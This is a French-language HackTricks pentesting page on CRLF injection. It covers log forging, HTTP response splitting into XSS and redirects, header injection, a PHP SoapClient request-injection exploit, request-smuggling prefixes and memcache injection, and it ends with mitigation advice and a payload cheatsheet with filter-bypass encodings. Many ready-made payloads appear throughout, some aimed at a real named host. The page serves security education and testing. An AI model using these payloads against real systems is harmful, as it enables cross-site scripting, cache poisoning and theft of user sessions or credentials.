# CRLF (%0D%0A) Injection
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** đŹ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** đŠ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
**Bug bounty tip**: **inscrivez-vous** sur **Intigriti**, une **plateforme de bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** !
{% embed url="https://go.intigriti.com/hacktricks" %}
### CRLF
Le retour chariot (CR) et le saut de ligne (LF), collectivement connus sous le nom de CRLF, sont des sĂ©quences de caractĂšres spĂ©ciaux utilisĂ©es dans le protocole HTTP pour indiquer la fin d'une ligne ou le dĂ©but d'une nouvelle. Les serveurs web et les navigateurs utilisent CRLF pour distinguer les en-tĂȘtes HTTP du corps d'une rĂ©ponse. Ces caractĂšres sont universellement employĂ©s dans les communications HTTP/1.1 Ă travers divers types de serveurs web, tels qu'Apache et Microsoft IIS.
### Vulnérabilité d'Injection CRLF
L'injection CRLF implique l'insertion de caractÚres CR et LF dans des entrées fournies par l'utilisateur. Cette action induit en erreur le serveur, l'application ou l'utilisateur en interprétant la séquence injectée comme la fin d'une réponse et le début d'une autre. Bien que ces caractÚres ne soient pas intrinsÚquement nuisibles, leur mauvaise utilisation peut conduire à un fractionnement de réponse HTTP et à d'autres activités malveillantes.
### Exemple : Injection CRLF dans un Fichier Journal
[Exemple ici](https://www.invicti.com/blog/web-security/crlf-http-header/)
Considérez un fichier journal dans un panneau d'administration qui suit le format : `IP - Heure - Chemin Visité`. Une entrée typique pourrait ressembler à :
```
123.123.123.123 - 08:15 - /index.php?page=home
```
Un attaquant peut exploiter une injection CRLF pour manipuler ce journal. En injectant des caractĂšres CRLF dans la requĂȘte HTTP, l'attaquant peut modifier le flux de sortie et fabriquer des entrĂ©es de journal. Par exemple, une sĂ©quence injectĂ©e pourrait transformer l'entrĂ©e du journal en :
```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
Ici, `%0d` et `%0a` représentent les formes encodées en URL de CR et LF. AprÚs l'attaque, le journal afficherait de maniÚre trompeuse :
```
IP - Time - Visited Path
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
L'attaquant dissimule ainsi ses activitĂ©s malveillantes en faisant apparaĂźtre que le localhost (une entitĂ© gĂ©nĂ©ralement de confiance dans l'environnement serveur) a effectuĂ© les actions. Le serveur interprĂšte la partie de la requĂȘte commençant par `%0d%0a` comme un seul paramĂštre, tandis que le paramĂštre `restrictedaction` est analysĂ© comme une autre entrĂ©e distincte. La requĂȘte manipulĂ©e imite efficacement une commande administrative lĂ©gitime : `/index.php?page=home&restrictedaction=edit`
### HTTP Response Splitting
#### Description
HTTP Response Splitting est une vulnĂ©rabilitĂ© de sĂ©curitĂ© qui survient lorsqu'un attaquant exploite la structure des rĂ©ponses HTTP. Cette structure sĂ©pare les en-tĂȘtes du corps Ă l'aide d'une sĂ©quence de caractĂšres spĂ©cifique, le Retour Chariot (CR) suivi du Saut de Ligne (LF), collectivement appelĂ©s CRLF. Si un attaquant parvient Ă insĂ©rer une sĂ©quence CRLF dans un en-tĂȘte de rĂ©ponse, il peut efficacement manipuler le contenu de la rĂ©ponse suivante. Ce type de manipulation peut entraĂźner de graves problĂšmes de sĂ©curitĂ©, notamment le Cross-site Scripting (XSS).
#### XSS Ă travers HTTP Response Splitting
1. L'application dĂ©finit un en-tĂȘte personnalisĂ© comme ceci : `X-Custom-Header: UserInput`
2. L'application rĂ©cupĂšre la valeur pour `UserInput` Ă partir d'un paramĂštre de requĂȘte, disons "user\_input". Dans des scĂ©narios manquant de validation et d'encodage appropriĂ©s des entrĂ©es, un attaquant peut crĂ©er un payload qui inclut la sĂ©quence CRLF, suivie de contenu malveillant.
3. Un attaquant crée une URL avec un 'user\_input' spécialement conçu : `?user_input=Value%0d%0a%0d%0a`
* Dans cette URL, `%0d%0a%0d%0a` est la forme encodée en URL de CRLFCRLF. Cela trompe le serveur en insérant une séquence CRLF, faisant en sorte que le serveur traite la partie suivante comme le corps de la réponse.
4. Le serveur reflĂšte l'entrĂ©e de l'attaquant dans l'en-tĂȘte de rĂ©ponse, entraĂźnant une structure de rĂ©ponse non intentionnelle oĂč le script malveillant est interprĂ©tĂ© par le navigateur comme faisant partie du corps de la rĂ©ponse.
#### Un exemple de HTTP Response Splitting menant Ă une redirection
De [https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62)
Navigateur vers :
```
/%0d%0aLocation:%20http://myweb.com
```
Et le serveur rĂ©pond avec l'en-tĂȘte :
```
Location: http://myweb.com
```
**Autre exemple : (de** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
```
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
#### Dans le chemin URL
Vous pouvez envoyer la charge utile **à l'intérieur du chemin URL** pour contrÎler la **réponse** du serveur (exemple de [ici](https://hackerone.com/reports/192667)):
```
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```
Check more examples in:
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
### Injection d'en-tĂȘte HTTP
L'injection d'en-tĂȘte HTTP, souvent exploitĂ©e par l'injection CRLF (Carriage Return and Line Feed), permet aux attaquants d'insĂ©rer des en-tĂȘtes HTTP. Cela peut compromettre des mĂ©canismes de sĂ©curitĂ© tels que les filtres XSS (Cross-Site Scripting) ou la SOP (Same-Origin Policy), menant potentiellement Ă un accĂšs non autorisĂ© Ă des donnĂ©es sensibles, telles que des jetons CSRF, ou Ă la manipulation de sessions utilisateur par le biais de l'injection de cookies.
#### Exploitation de CORS via l'injection d'en-tĂȘte HTTP
Un attaquant peut injecter des en-tĂȘtes HTTP pour activer CORS (Cross-Origin Resource Sharing), contournant les restrictions imposĂ©es par la SOP. Cette violation permet Ă des scripts provenant d'origines malveillantes d'interagir avec des ressources d'une origine diffĂ©rente, accĂ©dant potentiellement Ă des donnĂ©es protĂ©gĂ©es.
#### SSRF et injection de requĂȘte HTTP via CRLF
L'injection CRLF peut ĂȘtre utilisĂ©e pour crĂ©er et injecter une toute nouvelle requĂȘte HTTP. Un exemple notable de cela est la vulnĂ©rabilitĂ© dans la classe `SoapClient` de PHP, spĂ©cifiquement dans le paramĂštre `user_agent`. En manipulant ce paramĂštre, un attaquant peut insĂ©rer des en-tĂȘtes supplĂ©mentaires et du contenu dans le corps, ou mĂȘme injecter entiĂšrement une nouvelle requĂȘte HTTP. Ci-dessous un exemple PHP dĂ©montrant cette exploitation :
```php
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
# Put a netcat listener on port 9090
$client->__soapCall("test", []);
```
### Injection d'en-tĂȘte pour le Request Smuggling
Pour plus d'informations sur cette technique et les problĂšmes potentiels [**consultez la source originale**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
Vous pouvez injecter des en-tĂȘtes essentiels pour garantir que le **back-end maintienne la connexion ouverte** aprĂšs avoir rĂ©pondu Ă la demande initiale :
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
AprĂšs cela, une deuxiĂšme requĂȘte peut ĂȘtre spĂ©cifiĂ©e. Ce scĂ©nario implique gĂ©nĂ©ralement [HTTP request smuggling](http-request-smuggling/), une technique oĂč des en-tĂȘtes supplĂ©mentaires ou des Ă©lĂ©ments de corps ajoutĂ©s par le serveur aprĂšs l'injection peuvent conduire Ă diverses exploitations de sĂ©curitĂ©.
**Exploitation :**
1. **Injection de PrĂ©fixe Malveillant** : Cette mĂ©thode consiste Ă empoisonner la requĂȘte du prochain utilisateur ou un cache web en spĂ©cifiant un prĂ©fixe malveillant. Un exemple de cela est :
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
2. **CrĂ©ation d'un PrĂ©fixe pour l'Empoisonnement de la File d'Attente de RĂ©ponse** : Cette approche consiste Ă crĂ©er un prĂ©fixe qui, lorsqu'il est combinĂ© avec des dĂ©chets en fin de ligne, forme une seconde requĂȘte complĂšte. Cela peut dĂ©clencher l'empoisonnement de la file d'attente de rĂ©ponse. Un exemple est :
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
### Injection Memcache
Memcache est un **stockage clé-valeur qui utilise un protocole en texte clair**. Plus d'infos dans :
{% content-ref url="../network-services-pentesting/11211-memcache/" %}
[11211-memcache](../network-services-pentesting/11211-memcache/)
{% endcontent-ref %}
**Pour l'information complĂšte, lisez le**[ **rapport original**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)
Si une plateforme prend **des donnĂ©es d'une requĂȘte HTTP et les utilise sans les assainir** pour effectuer des **requĂȘtes** vers un serveur **memcache**, un attaquant pourrait abuser de ce comportement pour **injecter de nouvelles commandes memcache**.
Par exemple, dans la vulnérabilité découverte à l'origine, des clés de cache étaient utilisées pour retourner l'IP et le port auxquels un utilisateur devait se connecter, et les attaquants pouvaient **injecter des commandes memcache** qui **empoisonnaient** le **cache pour envoyer les détails des victimes** (noms d'utilisateur et mots de passe inclus) aux serveurs de l'attaquant :
De plus, les chercheurs ont également découvert qu'ils pouvaient désynchroniser les réponses memcache pour envoyer l'IP et les ports des attaquants à des utilisateurs dont l'attaquant ne connaissait pas l'email :
### Comment Prévenir les Injections CRLF / HTTP Header dans les Applications Web
Pour attĂ©nuer les risques d'injections CRLF (Carriage Return et Line Feed) ou d'injections d'en-tĂȘtes HTTP dans les applications web, les stratĂ©gies suivantes sont recommandĂ©es :
1. **Ăviter l'EntrĂ©e Directe de l'Utilisateur dans les En-tĂȘtes de RĂ©ponse :** L'approche la plus sĂ»re est de s'abstenir d'incorporer directement les entrĂ©es fournies par l'utilisateur dans les en-tĂȘtes de rĂ©ponse.
2. **Encoder les CaractĂšres SpĂ©ciaux :** Si Ă©viter l'entrĂ©e directe de l'utilisateur n'est pas faisable, assurez-vous d'utiliser une fonction dĂ©diĂ©e Ă l'encodage des caractĂšres spĂ©ciaux comme CR (Carriage Return) et LF (Line Feed). Cette pratique empĂȘche la possibilitĂ© d'injection CRLF.
3. **Mettre Ă Jour le Langage de Programmation :** Mettez rĂ©guliĂšrement Ă jour le langage de programmation utilisĂ© dans vos applications web vers la derniĂšre version. Optez pour une version qui interdit intrinsĂšquement l'injection de caractĂšres CR et LF dans les fonctions chargĂ©es de dĂ©finir les en-tĂȘtes HTTP.
### CHEATSHEET
[Cheatsheet from here](https://twitter.com/NinadMishra5/status/1650080604174667777)
```
1. HTTP Response Splitting
âą /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
âą //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
âą /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
âą /google.com/%2F..%0D%0AHeader-Test:test2
âą /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
âą /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
âą /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
âą %E5%98%8A = %0A = \u560a
âą %E5%98%8D = %0D = \u560d
âą %E5%98%BE = %3E = \u563e (>)
âą %E5%98%BC = %3C = \u563c (<)
âą Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
```
## Outils Automatiques
* [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite)
* [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz)
## Liste de DĂ©tection de Brute-Force
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt)
## Références
* [**https://www.invicti.com/blog/web-security/crlf-http-header/**](https://www.invicti.com/blog/web-security/crlf-http-header/)
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
* [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
**Conseil de bug bounty** : **inscrivez-vous** sur **Intigriti**, une **plateforme de bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des récompenses allant jusqu'à **100 000 $** !
{% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
Apprenez & pratiquez le Hacking AWS :[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Apprenez & pratiquez le Hacking GCP : [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Soutenir HackTricks
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
* **Rejoignez le** đŹ [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** đŠ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépÎts github.
{% endhint %}